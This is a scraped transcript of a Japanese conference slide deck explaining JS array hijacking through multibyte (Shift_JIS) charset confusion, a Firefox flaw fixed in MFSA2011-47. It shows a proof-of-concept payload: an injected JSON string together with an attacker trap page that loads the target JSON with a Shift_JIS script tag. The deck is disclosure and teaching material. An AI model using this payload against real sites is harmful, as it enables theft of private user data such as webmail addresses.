Top Banner
JS Array Hijacking with MBCS encodings MBCS 文文文文文文文文文 JS 文文文文文文文 Apr 4 2012 Yosuke HASEGAWA
12

JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

Feb 24, 2016

Download

Documents

urbain

JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り. Apr 4 2012 Yosuke HASEGAWA. JS Array Hijacking with MBCS. JSON 配列を盗み見する方法 文字コードの応用技 Mozilla Firefox 8 / MFSA2011-47 で修正済み. JS Array Hijacking with MBCS. JSON. ターゲット 機密情報を含む JS 配列 攻撃者が配列の一部をコントロールできる 例えば Web メールの新着通知など - PowerPoint PPT Presentation
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

JS Array Hijackingwith MBCS encodings

MBCS 文字コードを使った JS 配列の乗っ取り

Apr 4 2012Yosuke HASEGAWA

Page 2: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

JSON 配列を盗み見する方法文字コードの応用技Mozilla Firefox 8 / MFSA2011-47

で修正済み

Page 3: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCSターゲット

機密情報を含む JS 配列攻撃者が配列の一部をコントロールできる例えば Web メールの新着通知など

配列内の他のデータも盗み見できる

[ "[email protected]","[email protected]" ]

JSON

Page 4: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

XHR.send(…)

[ "[email protected]", "..." ]

JSONJSON.parse(txt)

ユーザ

Web mail

Page 5: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS<script

src=“json”>

<script src=“json”>

[ "...0x82", "..."]

JSON

HTML攻撃者

ユーザ

Web mail

JSON

From: "...0x82"

Page 6: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

Content-Type: application/json

[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]

攻撃対象の JSON (UTF-8)

<script src="http://example.jp/target.json" charset="shift_jis"></script>

攻撃者の用意した罠ページ

Page 7: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

Content-Type: application/json

[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]

JS Array Hijacking with MBCS攻撃対象の JSON (UTF-8)

あ" "

22 22 2C 22 61 6C

, " a l

65 72 74

e r t

E3 81 82

縺" , " a l e r t?

28

(

(

UTF-8

Shift_JIS

[ " 縺 <?>, ",alert(/", "alice", "bob", "/.source)]//" ]

Page 8: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

Content-Type: application/json

[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]

JS Array Hijacking with MBCS攻撃対象の JSON (UTF-8)

あ" "

22 22 2C 22 61 6C

, " a l

65 72 74

e r t

E3 81 82

縺" , " a l e r t?

28

(

(

UTF-8

Shift_JIS

[ " 縺 <?>",",alert(/", "alice", "bob", "/.source)]//" ]

修正された挙動 (IE と同じ )

"

Page 9: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

まとめそもそも JSON のレスポンスに

charset つけてないのがイケてない。とはいえ RFC4627 には

JSON text SHALL be encoded in Unicode. The default encoding is UTF-8.

攻撃可能なサイトは限定的

Page 10: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

JS Array Hijacking with MBCS

MFSA 2011-47: Potential XSS against sites using Shift-JIShttp://www.mozilla.org/security/announce/2011/mfsa2011-47.html

690225 – Universal XSS likely with MultiByte charset (e.g. japanese sites) https://bugzilla.mozilla.org/show_bug.cgi?id=690225

もとのタイトルは "JSON hijacking with MultiByte charset" だったのに。

だいぶ盛りすぎ!

Page 11: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

NetAgent http://www.netagent.co.jp/Shibuya.XSS

質問

[email protected]@netagent.co.jp

@hasegawayosuke

http://utf-8.jp/

Page 12: JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り